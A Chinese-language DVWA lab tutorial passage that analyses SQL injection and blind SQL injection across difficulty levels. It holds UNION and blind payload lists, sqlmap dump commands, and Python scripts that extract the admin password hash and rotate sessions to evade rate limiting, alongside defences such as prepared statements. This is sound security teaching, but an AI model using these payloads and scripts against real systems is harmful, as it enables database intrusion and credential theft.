    // 关闭数据库连接
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

新增防护

POST请求 - 不在URL中暴露参数
mysqli_real_escape_string() - 转义特殊字符
下拉菜单 - 前端限制输入（可绕过）

仍存在的漏洞

关键漏洞：

// 注意这里没有引号！
$query = "SELECT ... WHERE user_id = $id;";
//                                    ^
//                                    没有单引号包裹

虽然使用了mysqli_real_escape_string()，但SQL中没有用引号包裹$id，所以：

单引号转义无效（因为根本不需要闭合引号）
数字型注入仍然有效

绕过方法

方法1：数字型注入（无需引号）

由于SQL中user_id = $id没有引号，可以直接注入：

-- 输入：1 OR 1=1
-- 完整SQL：SELECT ... WHERE user_id = 1 OR 1=1;
-- 结果：返回所有用户

-- 输入：1 UNION SELECT user, password FROM users
-- 完整SQL：SELECT ... WHERE user_id = 1 UNION SELECT user, password FROM users;
-- 结果：显示用户名和密码

-- 输入：1 AND 1=2 UNION SELECT database(), user()
-- 结果：显示数据库信息

注意：

不需要单引号
不需要注释符
mysqli_real_escape_string()完全无效

方法2：使用Burp Suite绕过前端限制

Medium难度使用下拉菜单限制输入，但这只是前端限制：

步骤：

打开Burp Suite，开启拦截
选择下拉菜单中的任意值，提交
在Burp中拦截请求
修改POST参数：

POST /dvwa/vulnerabilities/sqli/ HTTP/1.1
...

id=1 UNION SELECT user, password FROM users&Submit=Submit

Forward请求
查看响应，获取数据

方法3：直接修改HTML

浏览器控制台修改：

按F12打开开发者工具
在Console中执行：

// 添加自定义选项
var select = document.getElementsByName('id')[0];
var option = document.createElement('option');
option.value = '1 UNION SELECT user, password FROM users';
option.text = 'Inject';
select.add(option);
select.value = option.value;

提交表单

High 难度

攻击目标

使用了Session和页面跳转，增加了攻击复杂度。

后端代码分析



if( isset( $_SESSION [ 'id' ] ) ) {

    // ★★★ 改进1：从SESSION获取ID ★★★
    // $_SESSION - 服务器端存储的会话变量
    // 数据存储在服务器，客户端只有session ID
    // 作用：避免直接从用户输入获取数据
    $id = $_SESSION[ 'id' ];

    // ★★★ 仍然存在漏洞：直接拼接SQL ★★★
    // 虽然从SESSION获取，但SESSION的值来自另一个页面的用户输入！
    // 注意：这里有单引号包裹
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

    // 执行查询
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query )
        or die( 'Something went wrong.
' );

    // 获取结果
    $row = mysqli_fetch_assoc( $result );

    if( $row ) {
        $html .= 'ID: ' . $id . '
First name: ' . $row[ 'first_name' ] . '
Surname: ' . $row[ 'last_name' ] . '
';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

关键点：

High难度分为两个页面：

session-input.php - 接收用户输入，存入SESSION
index.php - 从SESSION读取，执行查询

session-input.php代码：



// ★★★ 这里接收用户输入 ★★★
if( isset( $_POST[ 'Submit' ] ) ) {

    // 获取用户输入的ID
    $id = $_POST[ 'id' ];

    // ★★★ 使用stripslashes()去除反斜杠 ★★★
    // stripslashes() - 删除反斜杠
    // 例如：\' 变成 '
    $id = stripslashes( $id );

    // ★★★ 使用mysqli_real_escape_string转义 ★★★
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"]))
        ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id )
        : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

    // ★★★ 将处理后的ID存入SESSION ★★★
    $_SESSION[ 'id' ] = $id;

    // 重定向回主页面
    // header() - 发送原始HTTP头
    // Location - 重定向到指定URL
    header ("Location: " . $_SERVER['HTTP_REFERER']);
}

?>

新增防护

使用SESSION - 数据存储在服务器端
stripslashes() - 去除反斜杠
mysqli_real_escape_string() - 转义特殊字符
页面分离 - 输入和查询在不同页面

仍存在的漏洞

关键问题：

虽然使用了SESSION，但SESSION的值仍来自用户输入！

1	用户输入 → 转义 → 存入SESSION → 从SESSION读取 → 拼接SQL

转义后的数据存入SESSION，但从SESSION读取后直接拼接，仍有注入风险。

绕过方法

方法1：直接在输入页面注入

攻击流程：

访问 session-input.php
在输入框中输入payload
虽然经过转义，但存入SESSION
返回主页面，从SESSION读取并执行

Payload：

-- 输入：1' UNION SELECT user, password FROM users --
-- 经过转义：1\' UNION SELECT user, password FROM users --
-- 存入SESSION：1\' UNION SELECT user, password FROM users --
-- 拼接到SQL：... WHERE user_id = '1\' UNION SELECT user, password FROM users -- ' ...

-- 结果：转义的反斜杠会被MySQL处理，仍然可以注入

方法2：使用Burp Suite

步骤：

开启Burp代理
访问session-input.php
提交注入payload
在Burp中观察两次请求：
- POST到session-input.php（存入SESSION）
- GET主页面（从SESSION读取执行）
查看第二次请求的响应

Impossible 难度

攻击目标

使用PDO预编译语句，真正安全的实现。

后端代码分析



if( isset( $_GET[ 'Submit' ] ) ) {

    // ★★★ 改进1：验证输入是否为数字 ★★★
    // is_numeric() - 检查变量是否为数字或数字字符串
    // 作用：只接受数字，拒绝其他字符
    if( is_numeric( $_GET[ 'id' ] ) ) {

        // 获取ID
        $id = $_GET[ 'id' ];

        // ★★★ 核心防护：PDO预编译语句 ★★★
        // $db - PDO数据库连接对象
        // prepare() - 准备SQL语句用于执行
        // :id - 命名参数占位符（参数化查询）
        // LIMIT 1 - 限制只返回一行
        //
        // 关键：SQL结构和数据完全分离！
        // 数据库先编译SQL结构，再绑定数据
        // 无论数据内容是什么，都只会被当作数据，不会被当作SQL代码执行
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );

        // ★★★ 绑定参数 ★★★
        // bindParam() - 将参数绑定到预编译语句
        // 参数1：占位符名称
        // 参数2：要绑定的变量
        // 参数3：数据类型（PDO::PARAM_INT表示整数）
        //
        // 作用：将$id的值绑定到:id占位符
        // 数据类型明确指定为整数，进一步增强安全性
        $data->bindParam( ':id', $id, PDO::PARAM_INT );

        // ★★★ 执行预编译语句 ★★★
        // execute() - 执行准备好的语句
        // 此时才真正执行查询，但数据已经被安全处理
        $data->execute();

        // ★★★ 获取结果 ★★★
        // fetch() - 获取结果集的下一行
        // 返回关联数组
        $row = $data->fetch();

        // 检查是否有结果
        // rowCount() - 返回受影响的行数
        if( $data->rowCount() == 1 ) {
            // 获取值
            // {$row[ 'first_name' ]} - 输出first_name字段的值
            $first = $row[ 'first_name' ];
            $last  = $row[ 'last_name' ];

            // 输出结果
            $html .= "ID: {$id}
First name: {$first}
Surname: {$last}
";
        }
        else {
            // 未找到用户
            $html .= 'User ID is MISSING from the database.
';
        }
    }
    else {
        // ★★★ 输入不是数字，拒绝 ★★★
        // 明确的错误信息
        $html .= 'User ID must be numeric
';
    }
}

?>

完善的防护机制

输入验证 - is_numeric()只接受数字
PDO预编译 - SQL结构和数据完全分离
参数绑定 - 数据类型明确指定
限制结果 - LIMIT 1限制返回行数

PDO预编译原理

传统拼接（不安全）：

// 危险方式
$query = "SELECT * FROM users WHERE id = '$id'";
// 如果$id = "1' OR '1'='1"
// 结果：SELECT * FROM users WHERE id = '1' OR '1'='1'
// 注入成功！

PDO预编译（安全）：

// 安全方式
$stmt = $db->prepare('SELECT * FROM users WHERE id = :id');
$stmt->bindParam(':id', $id, PDO::PARAM_INT);
$stmt->execute();

// 执行过程：
// 1. 数据库先编译SQL结构："SELECT * FROM users WHERE id = ?"
// 2. 然后绑定数据：id = "1' OR '1'='1"
// 3. 数据被当作字符串整体，不会被解析为SQL代码
// 4. 实际执行：SELECT * FROM users WHERE id = '1\' OR \'1\'=\'1\''
// 5. 查找id为整个字符串的记录（不存在），注入失败！

为什么预编译安全？

传统方式：
  用户输入 → 拼接到SQL → 作为代码执行 ✗

预编译方式：
  SQL结构 → 先编译
  用户输入 → 只作为数据绑定 → 不会被当作代码 ✓

为什么无法攻破？

多层防御：

is_numeric()验证

1
2
3

输入：1' OR '1'='1
is_numeric("1' OR '1'='1") = false
拒绝！

PDO预编译

1 2	即使绕过is_numeric，PDO也会将输入当作数据不会被执行为SQL代码

参数类型

1 2	PDO::PARAM_INT - 强制转换为整数 "1' OR '1'='1" → 1

攻击尝试全部失败：

// 尝试1：字符串注入
输入：1' OR '1'='1
is_numeric() → false → 拒绝

// 尝试2：纯数字UNION
输入：1 UNION SELECT ...
is_numeric("1 UNION SELECT ...") → false → 拒绝

// 尝试3：只输入数字
输入：1
is_numeric("1") → true → 通过
但PDO预编译会将其安全处理
只会查询id=1的记录，无法注入

防御建议

代码层面

1. 使用PDO预编译（强烈推荐）

// 正确的做法
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id AND name = :name');
$stmt->execute(['id' => $id, 'name' => $name]);

// 或使用bindParam
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?');
$stmt->bindParam(1, $id, PDO::PARAM_INT);
$stmt->execute();

2. 使用mysqli预编译

// mysqli预编译
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id); // i = integer
$stmt->execute();
$result = $stmt->get_result();

参数类型：

i - integer（整数）
d - double（浮点数）
s - string（字符串）
b - blob（二进制数据）

3. 输入验证

// 验证ID是否为数字
if (!is_numeric($id)) {
    die("Invalid ID");
}

// 验证邮箱格式
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    die("Invalid email");
}

// 使用正则表达式
if (!preg_match('/^[a-zA-Z0-9]+$/', $username)) {
    die("Invalid username");
}

4. 白名单验证

// 只允许特定值
$allowed_columns = ['id', 'name', 'email'];
if (!in_array($sort_by, $allowed_columns)) {
    $sort_by = 'id'; // 默认值
}

$query = "SELECT * FROM users ORDER BY {$sort_by}";

5. 最小权限原则

-- 为Web应用创建专用数据库用户
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';

-- 只授予必要的权限
GRANT SELECT, INSERT, UPDATE ON mydb.* TO 'webapp'@'localhost';

-- 不要授予
-- DROP, DELETE（除非必要）
-- FILE, SUPER, PROCESS（危险权限）

架构层面

WAF（Web应用防火墙）
- ModSecurity
- Cloudflare WAF
- AWS WAF
输入输出分离
- ORM框架（Eloquent, Doctrine）
- 查询构建器（Query Builder）

错误处理

// 不要显示详细错误
// mysqli_query($query) or die(mysql_error()); ✗

// 记录错误，显示通用消息
if (!mysqli_query($query)) {
    error_log(mysqli_error($conn));
    die("An error occurred");
}

检测工具

SQLMap - 自动化SQL注入检测
Burp Suite Scanner - 漏洞扫描
OWASP ZAP - 免费安全扫描工具

总结对比

特性	Low	Medium	High	Impossible
输入过滤	❌	mysqli_escape	mysqli_escape + stripslashes	is_numeric()
SQL类型	字符串拼接	字符串拼接（无引号）	字符串拼接	PDO预编译
引号保护	✅ 有引号	❌ 无引号	✅ 有引号	N/A
SESSION	❌	❌	✅	❌
攻击方式	字符串注入	数字注入	字符串注入	无法注入
攻击难度	极易	简单	中等	几乎不可能
典型Payload	`1' OR '1'='1`	`1 OR 1=1`	`1' OR '1'='1`	无效

常用SQL注入Payload集合

基础测试

-- 单引号测试
'
"
\

-- 逻辑测试
1' OR '1'='1
1' OR '1'='1' --
1' OR '1'='1' #
1' OR '1'='1'/*

-- 数字注入
1 OR 1=1
1 AND 1=1
1 AND 1=2

UNION注入

-- 判断列数
1' ORDER BY 1 --
1' ORDER BY 2 --
1' ORDER BY 3 --

-- UNION SELECT
1' UNION SELECT NULL, NULL --
1' UNION SELECT 1, 2 --
1' UNION SELECT 'test', 'test2' --

-- 获取信息
1' UNION SELECT @@version, database() --
1' UNION SELECT user(), current_user() --

信息收集

-- 数据库
1' UNION SELECT schema_name, NULL FROM information_schema.schemata --

-- 表
1' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='dvwa' --

-- 列
1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' --

-- 数据
1' UNION SELECT user, password FROM users --
1' UNION SELECT GROUP_CONCAT(user,':',password), NULL FROM users --

盲注

-- 基于布尔的盲注
1' AND SUBSTRING(database(),1,1)='d' --
1' AND ASCII(SUBSTRING(database(),1,1))=100 --

-- 基于时间的盲注
1' AND SLEEP(5) --
1' AND IF(1=1, SLEEP(5), 0) --

实战建议

学习路径：

Low难度 - 掌握基本注入技巧
Medium难度 - 理解数字型注入
High难度 - 学习SESSION利用
Impossible难度 - 理解PDO防御原理

工具使用：

手动测试 → 理解原理
Burp Suite → 自动化重放
SQLMap → 高效利用

道德准则：

只在授权环境测试
不攻击真实系统
学以致用，保护而非破坏

DVWA - SQL Injection (Blind) 攻防练习详解

2025-11-20T15:31:37.128Z

漏洞简介

盲注是一种SQL注入攻击，应用程序不直接返回数据库查询结果或错误信息，攻击者必须通过应用程序的不同响应（如页面内容、HTTP状态码、响应时间）来推断数据库信息。

与普通SQL注入的区别：

特性	普通SQL注入	盲注
错误信息	直接显示	不显示
查询结果	直接返回	不返回
利用方式	UNION查询	布尔/时间盲注
攻击难度	较低	较高
攻击速度	快	慢（需逐字符猜测）

盲注的类型：

通过True/False条件判断，观察页面响应的差异：

-- 测试条件
1' AND 1=1 --   → 返回True（页面正常）
1' AND 1=2 --   → 返回False（页面异常）

-- 猜测数据
1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' --

判断依据：

页面内容不同（如”User exists”或”User not found”）
HTTP状态码不同
页面长度不同

通过数据库延时函数，观察响应时间：

-- MySQL
1' AND SLEEP(5) --   → 延迟5秒
1' AND IF(1=1, SLEEP(5), 0) --

-- 猜测数据
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a', SLEEP(5), 0) --

判断依据：

响应时间差异（延迟 vs 正常）

危害：

获取数据库内容（用户名、密码等）
确定数据库类型和版本
枚举数据库结构
获取敏感配置信息
完全控制数据库

DVWA场景：
通过用户ID查询用户信息，应用只显示”User exists”或”User not found”。

Low 难度

攻击目标

完全未过滤，可进行布尔盲注和时间盲注。

后端代码分析



// 检查是否提交了表单
// isset() - 检查变量是否存在
if( isset( $_GET[ 'Submit' ] ) ) {

    // ★★★ 危险操作：直接获取用户输入，无任何过滤 ★★★
    // $_GET['id'] - 从URL获取id参数
    // trim() - 只是去除首尾空格，不做任何安全处理
    // mysql_real_escape_string() - 只防单引号，不够安全
    //
    // 问题：
    // 1. 没有参数化查询
    // 2. 直接拼接SQL
    // 3. 虽然使用了mysql_real_escape_string()，但在某些情况下仍可绕过
    $id = $_GET[ 'id' ];

    // ★★★ 危险操作：直接拼接SQL语句 ★★★
    // SELECT first_name, last_name FROM users WHERE user_id = '$id'
    //
    // 漏洞：攻击者可以注入任意SQL代码
    // 例如：$id = "1' AND 1=1 --"
    // 结果：SELECT first_name, last_name FROM users WHERE user_id = '1' AND 1=1 --'
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

    // 执行SQL查询
    // mysql_query() - 执行MySQL查询（已弃用）
    // 返回结果集资源
    $result = mysql_query( $query ) or die( '' . mysql_error() . '
' );

    // ★★★ 问题：不显示具体数据，只显示是否存在 ★★★
    // mysql_num_rows() - 返回结果集的行数
    // 这就是"盲注"的原因：
    // - 如果有结果：显示"User ID exists"
    // - 如果无结果：显示"User ID not found"
    // - 攻击者只能通过这两种响应来推断信息
    if( mysql_num_rows( $result ) > 0 ) {
        // 用户存在
        // ★★★ 不显示具体的first_name和last_name ★★★
        echo 'User ID exists in the database.
';
    }
    else {
        // 用户不存在
        echo 'User ID is MISSING from the database.
';
    }

    // 关闭数据库连接
    mysql_close();
}

?>

HTML表单：

<form name="form1" action="#" method="GET">
    <p>
        User ID:
        <input type="text" name="id" size="15">
        <input type="submit" name="Submit" value="Submit">
    p>
form>

漏洞分析

核心问题：

直接拼接SQL - 没有使用参数化查询
不显示具体数据 - 只返回存在/不存在
显示错误信息 - or die(mysql_error())暴露数据库信息
无输入验证 - 接受任意输入

数据流向：

用户输入($_GET['id'])
    ↓
直接拼接到SQL
    ↓
执行查询
    ↓
只返回True/False

攻击步骤

步骤1：测试SQL注入漏洞

测试1：基础测试

输入: 1'
结果: MySQL错误（说明有SQL注入）

输入: 1' AND '1'='1
结果: User ID exists（True）

输入: 1' AND '1'='2
结果: User ID not found（False）

结论：存在布尔盲注漏洞

步骤2：布尔盲注 - 确定数据库信息

测试数据库版本：

-- 测试MySQL版本是否>5
1' AND (SELECT SUBSTRING(@@version,1,1))>'5' --

True → 版本>5
False → 版本<=5

-- 逐字符猜测版本号
1' AND (SELECT SUBSTRING(@@version,1,1))='5' --
1' AND (SELECT SUBSTRING(@@version,3,1))='7' --
...

测试数据库名称长度：

-- 数据库名长度是否>5
1' AND LENGTH(database())>5 --

-- 二分法确定长度
1' AND LENGTH(database())>10 --  → False
1' AND LENGTH(database())>5 --   → True
1' AND LENGTH(database())>7 --   → False
1' AND LENGTH(database())=6 --   → True

结论：数据库名长度为6

猜测数据库名（逐字符）：

-- 第一个字符
1' AND SUBSTRING(database(),1,1)='a' --  → False
1' AND SUBSTRING(database(),1,1)='b' --  → False
...
1' AND SUBSTRING(database(),1,1)='d' --  → True

-- 第二个字符
1' AND SUBSTRING(database(),2,1)='v' --  → True

-- 继续...最终得到：dvwa

步骤3：枚举数据库表

获取表名数量：

1 2	-- 测试表数量 1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>1 --

获取第一个表名：

-- 表名长度
1' AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=9 --

-- 第一个字符
1' AND SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1)='g' --

-- 继续...得到：guestbook

步骤4：枚举表的列名

-- users表的列数
1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users' AND table_schema=database())>5 --

-- 第一个列名
1' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1)='u' --

-- 继续...得到：user_id, first_name, last_name, user, password, avatar...

步骤5：提取数据

获取admin密码（逐字符）：

-- 密码长度
1' AND LENGTH((SELECT password FROM users WHERE user='admin'))=32 --

-- 第一个字符
1' AND SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1)='5' --

-- 第二个字符
1' AND SUBSTRING((SELECT password FROM users WHERE user='admin'),2,1)='f' --

-- 继续...得到完整MD5哈希

步骤6：时间盲注（当布尔盲注不可用时）

测试时间盲注：

-- 基础测试
1' AND SLEEP(5) --
结果：响应延迟5秒

-- 条件时间盲注
1' AND IF(1=1, SLEEP(5), 0) --  → 延迟5秒（True）
1' AND IF(1=2, SLEEP(5), 0) --  → 立即响应（False）

使用时间盲注提取数据：

-- 数据库名第一个字符是'd'
1' AND IF(SUBSTRING(database(),1,1)='d', SLEEP(5), 0) --
响应慢 → True
响应快 → False

-- 提取密码
1' AND IF(SUBSTRING((SELECT password FROM users WHERE user='admin'),1,1)='5', SLEEP(5), 0) --

步骤7：使用SQLMap自动化

# 基本扫描
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
       --cookie="security=low; PHPSESSID=your_session" \
       --batch

# 获取数据库名
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
       --cookie="security=low; PHPSESSID=your_session" \
       --dbs

# 获取表名
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
       --cookie="security=low; PHPSESSID=your_session" \
       -D dvwa --tables

# 获取列名
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
       --cookie="security=low; PHPSESSID=your_session" \
       -D dvwa -T users --columns

# 导出数据
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/?id=1&Submit=Submit" \
       --cookie="security=low; PHPSESSID=your_session" \
       -D dvwa -T users --dump

Medium 难度

攻击目标

使用了mysqli和简单过滤，但仍可进行盲注。

后端代码分析



if( isset( $_POST[ 'Submit' ]  ) ) {

    // ★★★ 改进1：从POST获取数据（而不是GET） ★★★
    // POST数据不会显示在URL中
    // 但这不能防止SQL注入！
    $id = $_POST[ 'id' ];

    // ★★★ 改进2：使用mysqli（而不是mysql） ★★★
    // mysqli_real_escape_string() - 转义特殊字符
    // 参数1：数据库连接
    // 参数2：要转义的字符串
    //
    // 转义内容：
    // \x00 → \\x00
    // \n   → \\n
    // \r   → \\r
    // \    → \\
    // '    → \'
    // "    → \"
    // \x1a → \\x1a
    //
    // 问题：
    // 1. 仍然是字符串拼接，不是参数化查询
    // 2. 在某些情况下仍可能被绕过（如宽字节注入）
    // 3. 不防止数字型注入（如果没有引号）
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ?
           mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) :
           ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

    // ★★★ 仍然拼接SQL ★★★
    // 虽然使用了mysqli_real_escape_string()，但仍不安全
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

    // ★★★ 改进3：不显示错误信息 ★★★
    // 移除了 or die(mysql_error())
    // 攻击者无法看到SQL错误
    // 但这使得需要使用盲注技术
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query );

    // 仍然只显示存在/不存在
    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // 用户存在
        echo 'User ID exists in the database.
';
    }
    else {
        // ★★★ 改进4：不透露具体原因 ★★★
        // 无论是不存在还是查询错误，都显示相同信息
        // 增加了攻击难度
        echo 'User ID is MISSING from the database.
';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

HTML表单改为POST：

<form name="form1" action="#" method="POST">
    <p>
        User ID:
        <input type="text" name="id" size="15">
        <input type="submit" name="Submit" value="Submit">
    p>
form>

新增防护

使用POST - 数据不在URL中
mysqli_real_escape_string() - 转义特殊字符
不显示错误 - 移除die(mysql_error())
统一错误信息 - 不透露失败原因

仍存在的漏洞

关键问题：

虽然使用了mysqli_real_escape_string()，但：

数字型注入 - 查询中user_id = $id没有引号！

1 2	-- 注意：没有引号包围$id SELECT * FROM users WHERE user_id = $id;

mysqli_real_escape_string()只转义引号 - 对数字型注入无效

输入: 1 OR 1=1
mysqli_real_escape_string(): 1 OR 1=1 (不变)
SQL: SELECT * FROM users WHERE user_id = 1 OR 1=1;
结果：注入成功！

绕过方法

方法1：数字型注入（最直接）

-- 基础测试
1 OR 1=1    → User exists（返回所有用户）
1 AND 1=2   → User not found（False）

-- 布尔盲注
1 AND (SELECT SUBSTRING(database(),1,1))='d'
1 AND LENGTH(database())=4

方法2：时间盲注

-- 基础测试
1 AND SLEEP(5)
→ 响应延迟5秒

-- 条件时间盲注
1 AND IF((SELECT SUBSTRING(database(),1,1))='d', SLEEP(5), 0)

方法3：使用SQLMap

# 指定POST参数
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/" \
       --data="id=1&Submit=Submit" \
       --cookie="security=medium; PHPSESSID=your_session" \
       --batch \
       -p id

# 使用时间盲注技术
sqlmap -u "http://dvwa.local/vulnerabilities/sqli_blind/" \
       --data="id=1&Submit=Submit" \
       --cookie="security=medium; PHPSESSID=your_session" \
       --technique=T \
       -D dvwa -T users --dump

方法4：Python脚本自动化

import requests
import time

url = "http://dvwa.local/vulnerabilities/sqli_blind/"
cookies = {
    'security': 'medium',
    'PHPSESSID': 'your_session'
}

def check_condition(condition):
    """测试条件是否为True"""
    payload = f"1 AND {condition}"
    data = {'id': payload, 'Submit': 'Submit'}

    response = requests.post(url, data=data, cookies=cookies)

    return 'exists' in response.text

def extract_string(query, length):
    """提取字符串（布尔盲注）"""
    result = ""

    for i in range(1, length + 1):
        # 二分法查找字符
        for c in 'abcdefghijklmnopqrstuvwxyz0123456789_':
            condition = f"(SELECT SUBSTRING(({query}),{i},1))='{c}'"

            if check_condition(condition):
                result += c
                print(f"Found char {i}: {c} (current: {result})")
                break

    return result

# 获取数据库名长度
for length in range(1, 20):
    if check_condition(f"LENGTH(database())={length}"):
        print(f"Database name length: {length}")
        break

# 提取数据库名
db_name = extract_string("database()", length)
print(f"Database name: {db_name}")

# 提取admin密码
password = extract_string("SELECT password FROM users WHERE user='admin'", 32)
print(f"Admin password hash: {password}")

High 难度

攻击目标

使用了LIMIT和Session，增加了复杂度，但仍可盲注。

后端代码分析



if( isset( $_COOKIE[ 'id' ] ) ) {

    // ★★★ 改进1：使用Cookie传递数据 ★★★
    // 而不是GET或POST
    // 但这不能防止SQL注入！
    // 攻击者仍可以修改Cookie
    $id = $_COOKIE[ 'id' ];

    // ★★★ 改进2：使用Session限制尝试次数 ★★★
    // 检查Session中是否有尝试次数记录
    if( !isset( $_SESSION['count'] ) ) {
        $_SESSION['count'] = 0;
    }

    // ★★★ 限流机制 ★★★
    // 每次请求增加计数
    $_SESSION['count']++;

    // ★★★ 问题：限制不够严格 ★★★
    // 只是在特定次数后暂停1秒
    // 攻击者可以通过：
    // 1. 清除Session
    // 2. 使用多个Session
    // 3. 忍受延迟继续攻击
    if( $_SESSION['count'] > 3 ) {
        // 暂停1秒（轻微的速率限制）
        sleep(1);
    }

    // 使用mysqli_real_escape_string()转义
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ?
           mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) :
           ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call!", E_USER_ERROR)) ? "" : ""));

    // ★★★ 改进3：添加LIMIT 1 ★★★
    // LIMIT 1 - 只返回一行结果
    //
    // 目的：限制结果数量
    // 问题：
    // 1. 不能防止SQL注入
    // 2. 攻击者仍可以使用盲注
    // 3. 可以使用UNION绕过（在某些情况下）
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        echo 'User ID exists in the database.
';
    }
    else {
        // ★★★ 改进4：重置Session计数 ★★★
        // 查询失败后重置
        // 但这实际上帮助了攻击者（可以无限尝试）
        $_SESSION['count'] = 0;

        echo 'User ID is MISSING from the database.
';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

HTML部分（JavaScript设置Cookie）：

<form name="form1" onsubmit="return setCookie();">
    <p>
        User ID:
        <input type="text" name="id" size="15">
        <input type="submit" value="Submit">
    p>
form>

<script>
// ★★★ 使用JavaScript设置Cookie ★★★
function setCookie() {
    var id = document.forms["form1"]["id"].value;

    // 设置Cookie
    // path=/ - Cookie对整个网站有效
    document.cookie = "id=" + id + "; path=/";

    // 重新加载页面，触发PHP处理Cookie
    location.reload();

    return false; // 防止表单提交
}
script>

新增防护

使用Cookie - 数据通过Cookie传递
Session计数 - 限制尝试次数
添加LIMIT - 限制查询结果
速率限制 - sleep()延迟

仍存在的漏洞

核心问题：

仍是字符串拼接 - 有单引号，但仍可注入
限流太弱 - 只延迟1秒，可以忍受
Session可重置 - 清除Cookie重新开始
LIMIT不防注入 - 可以用注释绕过

LIMIT绕过：

-- 原始查询
SELECT * FROM users WHERE user_id = '$id' LIMIT 1;

-- 注释掉LIMIT
$id = 1' --
结果：SELECT * FROM users WHERE user_id = '1' --' LIMIT 1;
简化：SELECT * FROM users WHERE user_id = '1'

-- 或使用#
$id = 1' #
结果：SELECT * FROM users WHERE user_id = '1' #' LIMIT 1;

绕过方法

方法1：注释绕过LIMIT

-- 使用--注释
1' AND 1=1 --
1' AND (SELECT SUBSTRING(database(),1,1))='d' --

-- 使用#注释
1' AND 1=1 #

方法2：容忍速率限制

import requests
import time

url = "http://dvwa.local/vulnerabilities/sqli_blind/"

# 创建Session（保持Cookie）
session = requests.Session()
session.cookies.set('security', 'high')
session.cookies.set('PHPSESSID', 'your_session')

def check_condition(condition):
    payload = f"1' AND {condition} --"

    # 设置Cookie
    session.cookies.set('id', payload)

    response = session.get(url)

    # High难度可能有延迟，需要更长超时
    return 'exists' in response.text

# 继续盲注（虽然慢，但可行）
result = ""
for i in range(1, 5):
    for c in 'abcdefghijklmnopqrstuvwxyz':
        if check_condition(f"(SELECT SUBSTRING(database(),{i},1))='{c}'"):
            result += c
            print(f"Found: {result}")
            break

    # 增加延迟以适应限流
    time.sleep(1)

方法3：使用多个Session绕过限流

# 当一个Session被限流，切换到另一个
sessions = []
for i in range(10):
    s = requests.Session()
    s.cookies.set('security', 'high')
    s.cookies.set('PHPSESSID', f'session_{i}')
    sessions.append(s)

current_session = 0

def check_with_rotation(condition):
    global current_session
    session = sessions[current_session]

    # 每3次请求切换Session
    if current_session % 3 == 0:
        current_session = (current_session + 1) % len(sessions)

    # 使用当前Session检查
    # ...

方法4：时间盲注（不受LIMIT影响）

-- 时间盲注不受LIMIT限制
1' AND SLEEP(5) --
响应慢 → 注入成功

-- 提取数据
1' AND IF((SELECT SUBSTRING(database(),1,1))='d', SLEEP(3), 0) --

Impossible 难度

攻击目标

使用PDO预编译语句，真正安全。

后端代码分析



if( isset( $_GET[ 'Submit' ] ) ) {

    // ★★★ 改进1：验证Anti-CSRF token ★★★
    // checkToken() - 验证CSRF token
    // 防止跨站请求伪造
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // 获取用户输入
    $id = $_GET[ 'id' ];

    // ★★★ 改进2：输入验证 ★★★
    // is_numeric() - 检查是否为数字
    // 如果不是数字，直接拒绝
    //
    // 这是白名单验证：只接受数字
    if( is_numeric( $id ) ) {

        // ★★★ 核心防护：PDO预编译语句 ★★★
        // $db - PDO数据库连接对象
